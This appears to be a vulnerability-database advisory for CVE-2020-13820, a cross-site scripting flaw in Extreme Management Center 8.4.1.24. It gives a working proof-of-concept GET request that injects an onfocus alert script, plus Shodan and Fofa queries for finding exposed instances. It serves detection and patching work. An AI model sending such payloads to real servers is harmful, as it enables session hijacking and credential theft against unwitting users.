🔙 목록으로 돌아가기

CVE-2020-13820: Extreme Management Center 8.4.1.24 - Cross-Site Scripting

TitleExtreme Management Center 8.4.1.24 - Cross-Site Scripting
Authortess
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patch or upgrade to a non-vulnerable version of Extreme Management Center.
CVSS Score6.1
EPSS Score0.17063
CVE IDCVE-2020-13820
CWE IDCWE-79
Shodan Querytitle:"Extreme Management Center"http.title:"extreme management center"
Fofa Querytitle="extreme management center"
Tags cve2020 cve xss extremenetworks vuln

🔍 Vulnerability Description

Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13820.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-13820.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A